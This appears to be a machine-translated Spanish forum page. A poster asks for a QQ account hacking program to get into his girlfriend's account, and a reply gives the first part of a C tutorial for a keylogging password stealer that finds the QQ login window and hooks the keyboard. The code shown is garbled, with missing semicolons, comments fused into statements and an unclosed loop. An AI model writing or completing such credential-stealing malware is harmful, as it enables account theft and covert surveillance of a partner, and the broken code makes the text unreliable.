¿Qué hermano o hermana mayor tiene un programa de piratería de cuentas QQ? Quiero obtener la cuenta QQ de mi novia. les pido ayuda gracias
El software general de robo de contraseñas obtiene contraseñas monitoreando el teclado, lo cual es más conveniente de operar, pero también existen ciertos problemas. A veces, la contraseña no es muy precisa porque algunas personas no la ingresan. escribiendo de adelante hacia atrás, por supuesto, solo hay unas pocas personas así para robar contraseñas, ¡por supuesto, obtén las contraseñas de aquellos que son más descuidados! El método para obtener la contraseña es monitorear la interfaz de inicio de sesión de QQ instalando un gancho. Antes de la instalación, primero debe encontrar el identificador de la ventana de inicio de sesión. Después de instalar el gancho, se registra el teclado. o hace clic en "Iniciar sesión", ¡el proceso puede comenzar! Voy a explicar todo este proceso en cuatro partes:
(1) Busque la interfaz de inicio de sesión de QQ.
(2) Instalar gancho
(3) Explicación de la función de gancho
(4) Procesar contraseña.
Las siguientes partes están todas en lenguaje C. En este artículo, asumo que usted, el lector, puede programar en C/SDK. Si encuentra preguntas conceptuales relacionadas, puede consultar MSDN o preguntar en BBS.
Primera parte: (1) Busque la interfaz de inicio de sesión de QQ.
Después de que el software se esté ejecutando, use el temporizador de instalación para encontrar la interfaz de inicio de sesión de QQ en el sistema cada segundo. Básicamente, siempre que el usuario abra la interfaz de inicio de sesión de QQ, se tomará su identificador. siguiente código:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
Después de instalar TIMER, el siguiente es el mensaje WM_TIMER para procesando el programa principal, si corresponde. Puede entender las variables definidas como variables globales
//Procesar el código WM_TIMER
if (!IsWindow(g_hQQLogin)) //Determinar si g_hQQLogin es. un identificador de ventana válido
{
HWND hLogin=NULL
g_hQQLogin = NULL; El parámetro es NULL para desinstalar HOOK, el parámetro es el identificador de instalación
do
{
//Use FindWindowEx para encontrar la ventana de inicio de sesión de QQ, verifique MSDN para conocer el significado específico de los parámetros
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //Las clases del cuadro de diálogo son todas #32770
/ /Después de encontrar el nombre de la clase es #32770, luego en su forma busque un botón BOTÓN con "Iniciar sesión QQ"
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", "Iniciar sesión QQ"); Esta oración es muy importante, si su ventana de inicio de sesión de QQ Si no hay la palabra "Iniciar sesión QQ" en la página, ¡la obtención de la contraseña fallará!
}
while(g_hQQLogin != NULL && hLogin == NULL //Hasta que se encuentre la ventana especificada, es decir: ventana de inicio de sesión de QQ
if ( g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//Instalar HOOK, esta función se introduce en la segunda parte del archivo DLL
}
}
Lo anterior es el proceso para encontrar el identificador de la ventana de inicio de sesión de QQ. En el código, puede ver el método que utilicé: busque un subformulario con un título titulado ". Cuadro de diálogo del BOTÓN "Iniciar sesión QQ" (esta oración es un poco detallada. Si no comprende esta oración, no necesita leer lo siguiente: () Inicialmente quería usar FindWindow (NULL, "ventana de inicio de sesión de usuario QQ" ) para buscar, pero usé Spy++ para ver que el título de la ventana de inicio de sesión de QQ no era "Ventana de inicio de sesión de usuario de QQ", sino "caracteres confusos", que incluían caracteres especiales como la tecla Enter, así que usé FindWindowEx().